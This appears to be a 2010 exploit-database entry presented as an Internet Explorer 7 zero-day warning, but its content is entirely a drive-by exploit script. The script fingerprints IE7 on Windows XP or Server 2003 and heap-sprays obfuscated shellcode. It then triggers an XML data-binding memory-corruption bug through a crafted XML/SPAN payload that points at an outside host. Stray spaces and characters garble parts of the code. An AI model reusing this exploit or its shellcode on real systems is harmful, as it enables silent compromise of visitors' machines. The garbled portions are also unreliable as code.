Internet Explorer 7.0 0day-vulnerability warning-the black bar safety net

2010-03-25T00:00:00
ID MYHACK58:62201026546
Type myhack58
Reporter 佚名
Modified 2010-03-25T00:00:00

Description

<script language="javascript"> if(navigator. userAgent. toLowerCase(). indexOf("msie 7")==-1)location. replace("about:blank");

function sleep(milliseconds) { var start=new Date(). getTime();

for(var i=0;i<1e7;i++) {if((new Date(). getTime()-start)>milliseconds) {break} } }

function spray(sc) { var infect=unescape(sc. replace(/vangoik/g,"x25x75")); var heapBlockSize=0x100000; var payLoadSize=infect. length*2; var szlong=heapBlockSize-(payLoadSize+0x038); var retVal=unescape("%u0a0a%u0a0a"); retVal=getSampleValue(retVal,szlong); aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize; zzchuck=new Array(); for(i=0;i<aaablk;i++){zzchuck[i]=retVal+infect} }

function getSampleValue(retVal,szlong) { while(retVal. length*2<szlong) {retVal+=retVal} retVal=retVal. substring(0,szlong/2); return retVal }

var a1="vangoik"; spray(a1+"9 0 9 0"+a1+"vangoik9090vangoik9090vangoikE1D9vangoik34d9vangoik5824vangoik5858vangoik3358vangoikb3dbvangoik031cvangoik31c3vangoik66c9vangoike981vangoikfa65vangoik3080vangoik4021vangoikfae2vangoik17c9vangoik2122vangoik4921vangoik0121vangoik2121vangoik214bvangoikf1devangoik2198vangoik2131vangoikaa21vangoikcad9vangoik7f24vangoik85d2vangoikf1devangoikd7c9vangoikdedevangoikc9devangoik221cvangoik2121vangoikd9aavangoik19c9vangoik2121vangoikc921vangoik206cvangoik2121vangoik67c9vangoik2121vangoikc921vangoik22favangoik2121vangoikd9aavangoik03c9vangoik2121vangoikc921vangoik2065vangoik2121vangoik11c9vangoik2121vangoikc921vangoik22a8vangoik2121vangoikd9aavangoik2dc9vangoik2121vangoikc921vangoik2040vangoik2121vangoik3bc9vangoik2121vangoikca21vangoik7279vangoikfdaavangoik4b72vangoik4961vangoik3121vangoik2121vangoikc976vangoik2390vangoik2121vangoikc4c9vangoik2121vangoik7921vangoik72e2vangoikfdaavangoik4b72vangoik4901vangoik3121vangoik2121vangoikc976vangoik23b8vangoik2121vangoikecc9va

ngoik2121vangoik7921vangoik76E2vangoik1dc9vangoik2125vangoikaa21vangoik12d9vangoik68e8vangoike112vangoike291vangoikd3ddvangoikac8fvangoikde66vangoike27evangoik1f7avangoik26e7vangoik1f99vangoik7ea8vangoik4720vangoike61fvangoik2466vangoikc1devangoikc8e2vangoik25b4vangoik2121vangoika07avangoik35cdvangoik2120vangoikaa21vangoik1ff5vangoik23e6vangoik4c42vangoik0145vangoike61fvangoik2563vangoik420evangoik0301vangoike3a2vangoik1229vangoik71e1vangoik4971vangoik2025vangoik2121vangoik7273vangoikc971vangoik22e0vangoik2121vangoikf1devangoikddaavangoike6aavangoike1a2vangoik1f29vangoik39abvangoikfaa5vangoik2255vangoikca61vangoik1fd7vangoik21e7vangoik1203vangoik1ff3vangoik71a9vangoika220vangoik75cdvangoike112vangoikfa12vangoikedaavangoikd9a2vangoik5c75vangoik1f28vangoik3da8vangoika220vangoik25e1vangoikd3cavangoikedaavangoikf8aavangoike2a2vangoik1231vangoik1fe1vangoik62e6vangoik200dvangoik2121vangoik7021vangoik7172vangoik7171vangoik7171vangoik7671vangoikc971vangoik2218vangoik2121vangoik38c9v angoik2121vangoik4521vangoik2580vangoik2121vangoikac21vangoi! k4181van goikDEDEvangoikC9DEvangoik2216vangoik2121vangoikfa12vangoik7272vangoik7272vangoikf1devangoik19a1vangoika1c9vangoikc819vangoik2e54vangoik59a0vangoikb124vangoikb1b1vangoik55b1vangoik7427vangoikcdaavangoik61acvangoikde24vangoikc9c1vangoikde0fvangoikdedevangoikc9e2vangoikde09vangoikdedevangoik3099vangoik2520vangoike3a1vangoik212dvangoik3ac9vangoikdedevangoik12devangoik71e1vangoikc975vangoik2175vangoik2121vangoikc971vangoik23aavangoik2121vangoikf1devangoika117vangoik051dvangoik5621vangoikc92bvangoik2360vangoik2121vangoikde12vangoikde76vangoikc9f1vangoik20davangoik2121vangoikde49vangoik2121vangoikde21vangoikc9f1vangoikdfc9vangoikdedevangoik7672vangoik1277vangoik71e1vangoikc975vangoik213fvangoik2121vangoikc971vangoik2374vangoik2121vangoikf1devangoika117vangoik051dvangoik5621vangoikc92bvangoik232avangoik2121vangoikde12vangoikde76vangoik79f1vangoik7e7fvangoike27avangoik23cavangoike279vangoikd8c9vangoikdedevangoik77devangoika276vangoik29cdvangoikddaavangoik294bvangoik1f76vangoik56devan

goikC935vangoik237Cvangoik2121vangoikf1devangoikddaavangoik4049vangoik444cvangoik4921vangoik6468vangoik5367vangoikd5aavangoik2998vangoik2121vangoikD221vangoik5487vangoik4B0Evangoik1f21vangoik55devangoik0105vangoik05c9vangoik2123vangoikde21vangoikaaf1vangoikc9d9vangoik20eavangoik2121vangoikf1devangoikd91avangoik2955vangoikaa17vangoik0565vangoik1f01vangoik21devangoikde1fvangoik0555vangoikc93dvangoik20cevangoik2121vangoikf1devangoike5a2vangoik7e31vangoik997fvangoik2120vangoik2121vangoik49e2vangoik4f4evangoik2121vangoik5449vangoik4d53vangoikca4cvangoikac34vangoik0565vangoik7125vangoik03c9vangoikdedfvangoik71devangoik6bc9vangoik2123vangoikc821vangoikdfc3vangoikdedevangoikc7c9vangoikdedevangoika2devangoik29e5vangoik4be2vangoik494dvangoik554fvangoik4d45vangoik34cavangoik65acvangoik2505vangoikc971vangoikdcdavangoikdedevangoikc971vangoik2302vangoik2121vangoik9ac8vangoikdedfvangoikc9devangoikdec7vangoikdedevangoike5a2vangoike229vangoik1249vangoik2113vangoik4921vangoik5254vangoik5344va ngoik34CAvangoik65ACvangoik2505vangoikc971vangoikdcf0vangoik! DEDEvang oikC971vangoik20D8vangoik2121vangoikb0c8vangoikdedfvangoikc9devangoikdec7vangoikdedevangoike5a2vangoike229vangoik4249vangoik5657vangoik4921vangoik4952vangoik4e45vangoik34cavangoik65acvangoik2505vangoikc971vangoikdc86vangoikdedevangoikc971vangoik20eevangoik2121vangoik46c8vangoikdedfvangoikc9devangoikdec7vangoikdedevangoike5a2vangoike229vangoik5749vangoik5946vangoikca21vangoikac34vangoik0565vangoik7125vangoika3c9vangoikdedcvangoik71devangoik8bc9vangoik2120vangoikc821vangoikdf63vangoikdedevangoikc7c9vangoikdedevangoika2devangoik25e5vangoikc9e2vangoik208avangoik2121vangoik3a49vangoik67e7vangoik7158vangoike7c9vangoik2120vangoika221vangoik29e5vangoikc9e2vangoik20b6vangoik2121vangoikcd49vangoik22b6vangoik712dvangoik93c9vangoik2120vangoika221vangoik29e5vangoikc9e2vangoik20a2vangoik2121vangoik8b49vangoik2cddvangoik715dvangoikbfc9vangoik2120vangoika221vangoik29e5vangoikc9e2vangoik204evangoik2121vangoikcc49vangoikce77vangoik7117vangoikabc9vangoik2120vangoika221vangoik29e5vangoikc9e2vang

oik207Avangoik2121vangoikD149vangoik25abvangoik717evangoik57c9vangoik2120vangoika221vangoik29e5vangoikc9e2vangoikdfd6vangoikdedevangoik5949vangoikfa49vangoik713dvangoik43c9vangoik2120vangoika221vangoik29e5vangoikc9e2vangoik2012vangoik2121vangoikce49vangoikc1efvangoik7141vangoik6fc9vangoik2120vangoika221vangoik29e5vangoikc9e2vangoik203evangoik2121vangoik9149vangoik0c68vangoik71favangoik1bc9vangoik2120vangoika221vangoik29e5vangoikc9e2vangoikde17vangoikdedevangoik8a49vangoikba7fvangoik713fvangoik07c9vangoik2120vangoika221vangoik29e5vangoikc9e2vangoikdf86vangoikdedevangoik7849vangoika0b6vangoik7123vangoik33c9vangoik2120vangoika221vangoik29e5vangoikc9e2vangoik21c2vangoik2121vangoik5f49vangoikc3f9vangoik7152vangoikdfc9vangoik2121vangoika221vangoik29e5vangoikc9e2vangoik21eevangoik2121vangoikbf49vangoik9ad8vangoik7114vangoikcbc9vangoik2121vangoika221vangoik29e5vangoikc9e2vangoikdfb3vangoikdedevangoik7649vangoik9481vangoik719avangoikf7c9vangoik2121vangoika221vangoik29e5vangoikc9e2van goikDF5FvangoikDEDEvangoik3B49vangoik3f5bvangoik7123vangoike! 3C9vango ik2121vangoikA221vangoik29E5vangoikc9e2vangoikdf4bvangoikdedevangoikc149vangoik117avangoik71b5vangoik8fc9vangoik2121vangoika221vangoik29e5vangoikc9e2vangoikdf77vangoikdedevangoikb649vangoikc3e8vangoik7182vangoikbbc9vangoik2121vangoika221vangoik29e5vangoikc9e2vangoikdf63vangoikdedevangoik4949vangoike405vangoik7192vangoika7c9vangoik2121vangoika221vangoik29e5vangoikc9e2vangoik2176vangoik2121vangoik5349vangoik92dfvangoik7137vangoik53c9vangoik2121vangoika221vangoik29e5vangoikc9e2vangoikdf65vangoikdedevangoik32cavangoik444bvangoikc971vangoikdad6vangoikdedevangoikc971vangoikdf8avangoikdedevangoik96c8vangoikdeddvangoikc9devangoikdec9vangoikdedevangoikc9e2vangoikdc88vangoikdedevangoik6e49vangoik6ecevangoik7124vangoik1fc9vangoik2121vangoika221vangoik29e5vangoikc9e2vangoik212evangoik2121vangoikaf49vangoik2f6fvangoik71cdvangoik0bc9vangoik2121vangoika221vangoik29e5vangoik12e2vangoik45e1vangoik61aavangoika411vangoik59e1vangoik1f31vangoik61aavangoik1f2dvangoik51aavangoik8c3dvangoikaa1fvango

ik2961vangoikCAE2vangoik1F2Avangoik61aavangoika215vangoik5de1vangoikaa1fvangoik1d61vangoik41e2vangoikaa17vangoik054Dvangoik1705vangoik64AAvangoik171dvangoik75aavangoik5924vangoikf422vangoikaa1fvangoik396bvangoikaa1fvangoik017bvangoikfc22vangoik1ac2vangoik1f68vangoik15aavangoik22aavangoik12d4vangoik12devangoikdde1vangoika58dvangoik55e1vangoike026vangoik2ceevangoikd922vangoikd5cavangoik1a17vangoik055dvangoik5409vangoik1ffevangoik7baavangoik2205vangoik47fcvangoikaa1fvangoik6a2dvangoikaa1fvangoik3d7bvangoikfc22vangoikaa1fvangoikaa25vangoike422vangoika817vangoik0565vangoik403dvangoikc9e2vangoikda47vangoikdedevangoik5549vangoik5155vangoik0e1bvangoik560evangoik5656vangoik430fvangoik4840vangoik444avangoik0f42vangoik4f42vangoik450evangoik564evangoik0e4fvangoik4e4avangoik440fvangoik4459vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vang oik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik21! 21vangoi k2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik2121vangoik0021");

sleep(3 0 0 0);

nav=navigator. userAgent. toLowerCase(); if(navigator. appVersion. indexOf('MSIE')!= -1) { version=parseFloat(navigator. appVersion. split('MSIE')[1]) } if(version==7) { w2k3=((nav. indexOf('windows nt 5.2')!= -1)||(nav. indexOf('windows 2 0 0 3')!= -1)); wxp=((nav. indexOf('windows nt 5.1')!= -1)||(nav. indexOf('windows xp')!= -1)); if(wxp||w2k3)document. write('<XML ID=I><X><C><! [CDATA[<image SRC=http://vជ. k4mr4n. com src=http://www. google. com]]><! [CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>'); var i=1;while(i<=1 0) { window. status=" ";i++} } </script>